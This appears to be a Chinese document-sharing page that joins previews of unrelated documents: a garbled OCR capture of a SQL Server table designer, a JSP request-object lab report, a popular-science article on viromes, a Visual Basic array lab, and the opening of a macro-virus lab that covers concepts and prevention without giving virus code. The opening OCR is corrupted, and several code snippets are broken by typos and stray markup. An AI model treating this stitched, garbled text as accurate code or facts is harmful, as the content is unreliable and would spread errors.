D62.s1udent - Diagram_0* D62.sludent - dbo.S* SQLQuery5.sql - D... (D62\A^m i n (52J)* 列容 埶据类型 允祥值 Q 5TI0 Ctiar(lO) n sname nvarchar (20) a 卜:S5SX nchai ■⑵ 團 sbirtti date □ adept nv ar char (20) sPhoneNo ctiar(LQ) @] 数捐类型 允傑Mdl 值 曰表设计器 RowGuid E 标识魁 不用于复制 大小 (5) CHECK 约束:为SC 表的成绩(grade)添加CHECK 约束,约束名为ck grade ,其 检查条件为:成绩应该在0-100之间。 ffin har 妊 2 Nnrh 昙否否否二

实验报告三

南京信息工程大学实验(实习)报告 实验名称request对象和session对象实验日期2018.05.03 得分指导教师方忠进系计算机系年级专业班次网络工程2 姓名曾志明学号20152346073 Request对象 一.实验目的 本实验的目的是让学生掌握怎样在JSP中使用内置对象request。 二.实验内容与要求 编写一个JSP页面input.jsp,该页面提供一个表单,用户可以通过表单输入两个数和四则运算符号提交给该页面。用户提交表单后,JSP页面input.jsp将计算任务交给另一个JSP页面result.jsp去完成。 (1)input.jsp的具体要求 input.jsp页面提供一个表单,要求表单中提供两个text输入框,供用户输入数字;提供一个下拉列表,该下拉列表有加、减、乘、除四个选项,供用户选择运算符号。用户在表单中输入的数字、选择运算符号提交给result.jsp页面。 (2)result.jsp的具体要求 要求result.jsp页面获取input.jsp提交的数据,并计算出相应的结果显示给用户。 三.实验代码与结果 input.jsp <%@ page contentType="text/html;charset=GB2312" %> < form action = "result.jsp" method = post name = form > 输人运算数、选择运算符号:
< option value=" +">加 < option value=”-”>减 < option valiue=” *”>乘 < option valiue=” /”>除 < br > < input type= "submit" value =”提交” name ="submit"> >

病毒与宏病毒全面解读

病毒与宏病毒全面解读 美格基因姜敬哲 病毒知多少? 提起病毒,人们想到的通常是SARS、埃博拉、艾滋、流感等这些令人不愉快的词汇。事实上,病毒不仅仅影响人的健康,它们还有更重要的使命:推动自然物种的更替与演化,驱动生物地球化学的循环(Suttle等,2005)。 世上丰度最高的类群 病毒是我们这个星球上丰度最高的生命体。它们存在于世界的任意角落:从体型硕大的蓝鲸、非洲象,到肉眼无法分辨的寄生虫、细菌、衣原体等,但凡是“活”的东西,都有专门负责“办”它的病毒。

图1 常见感染人体的病毒形状和大小 科学研究中的暗物质 据推测,地球上的病毒种类多达8700万种,其中可能感染人类的病毒就有73万种,但目前比较确认的已知病毒却只有约5000种,已知的人类病毒仅有263种(Geoghegan 等,2017;Carroll 等,2018)。由此可见,病毒是生命科学研究中实打实的“暗物质”。 图2 目前地球上已知和未知的病毒物种数量

宏病毒组 病毒和细菌不同,不同病毒基因组的差异非常大,根本没有16S rDNA这种进化保守的基因,所以无法做扩增子(Amplicon)。 2002 年,Forest Rowher课题组基于宏基因组(Metagenome)研究思路,对海水中的病毒进行了富集,高通量测序后发现大量的未知病毒(Breitbart等,2002)。自此,宏病毒组(Virome)概念应运而生(即,组成一个特定生态系统或共生系统中所有病毒的集合)。 2018 年,由包括我国高福院士在内的多位世界级病毒专家在Science杂志上联合刊文,提出“全球病毒组计划”(GVP)(Carroll等,2018),将宏病毒组研究推到了一个全新的高度。 CNS中的常客 近几年,科学家运用宏病毒组学技术对多种环境、动物、微生物、以及人类各种来源的样品进行了不少的研究,产生很多突破性成果,见刊CNS已成为常态。代表作如,美国能源部的联合基因组研究所(JGI)针对全球3042份各种来源的样品进行的病毒组分析,共获得超过125 000个DNA病毒的基因组序列,将已知病毒基因集扩大16倍(Paez-Espino等,2016)。 在病毒组领域,中国科学家在其中也扮演了重要角色。2016和2018年,Nature 杂志两次报道了我国科学家张永振团队的关于无脊椎动物和脊椎动物病毒组的研究成果。他们对388种无脊椎和低等脊椎动物样品进行了大规模的转录组测序,鉴定出1659种RNA病毒,其中绝大多数为首次发现(Shi等,2016和2018,图3)。该研究的意义在于,彻底重新构建了RNA病毒世界的系统发育树,对RNA 病毒的分类进行了全新的界定。

VB实验三 实验报告 - 2016

实验报告三 实验目的 (1)掌握一维数组(静态、动态)定义及使用 (2)掌握二维数组(静态、动态)定义及使用 (3)掌握“控件数组”的使用 (4)掌握数组相关算法(求最值,排序,查找) (5)通过数组巩固循环及多重循环程序设计 实验内容 【实验1】对一维数组A(1 to 10)先赋值1、3、5、7、9、11、13、15、17、19,然后再输出。程序运行界面如下图所示。(5分) 掌握一维静态数组的定义及使用 实验结果: 【实验1 代码】 Option Base 1 Dim A(1 T o 10) As Integer Private Sub Command1_Click() Dim i As Integer For i = 1 T o 10 A(i) = 2 * i - 1 Next i End Sub

Private Sub Command2_Click() Dim i As Integer For i = 1 T o 10 Print A(i) Next i End Sub Private Sub Form_Load() End Sub 【实验1 典型结果】 【实验2】用Array函数对一维数组进行赋值,程序运行界面如下图(5分) 掌握一维动态数组的定义及使用 实验结果:

【实验2 代码】 Option Base 1 Dim a Private Sub Command1_Click() a = Array(1, 3, 5, 7, 9, 11, 13, 15, 17, 19) End Sub Private Sub Command2_Click() Dim i As Integer For i = 1 T o 10 Print a(i); Next i End Sub Private Sub Form_Load() End Sub 【实验2 典型结果】 【实验3】动态数组声明及输入输出,程序运行界面如下图所示。(10分)

一个简单宏病毒的感染与清楚

宏病毒实验 1. 实验目的 (1)理解宏病毒的概念、病毒机制、传播手段以及预防措施。 (2)观察一个简单宏病毒感染计算机后的现象,并寻找清除病毒的方法。 2. 实验原理 宏(Macro)是微软公司出品的Office软件包中所包含的一项特殊功能。微软公司设计此项功能的主要目的是给用户自动执行一些重复性的工作提供方便。它利用简单的语法,把常用的动作写成宏,用户工作时就可以直接利用事先编写好的宏自动运行,以完成某项特定的任务,而不必反复重复相同的工作。微软的Word Visual Basic for Application(VBA)是宏语言的标准。宏病毒正是利用Word VBA 编写的一些宏,是一种寄存在文档或模板中的计算机病毒。一旦打开含有宏病毒的文档,其中的宏就会执行,宏病毒被激活,转移到计算机中并驻留在Normal 模板上。以后所有自动保存的文档都会感染上这种宏病毒。 预防宏病毒有以下几种基本的方法: (1)防止执行自动宏:可以通过在DOS提示符下输入指令”WinWord.exe /m DisableAutoMacro”来防止打开Word文档时执行自动宏。另外,在打开或关闭文档时按下Shift键可以使文档不执行任何自动宏。 (2)保护Normal模板:可以采取以下几种方法对Normal模板进行保护。提示保存Normal模板;设置Normal模板的只读属性;设置密码保护;设置安全级别;按照自己的习惯设置Normal模板并进行备份,当被病毒感染时,使用备份模板覆盖当前模板。 (3)使用DisableAutoMacro功能。 3. 实验环境 虚拟机下Windows server 2003 4. 实验内容 本实验拟在虚拟机下感染一个简单的宏病毒,然后观察病毒对计算机有什么影响,最后寻求清除方法。

相关文档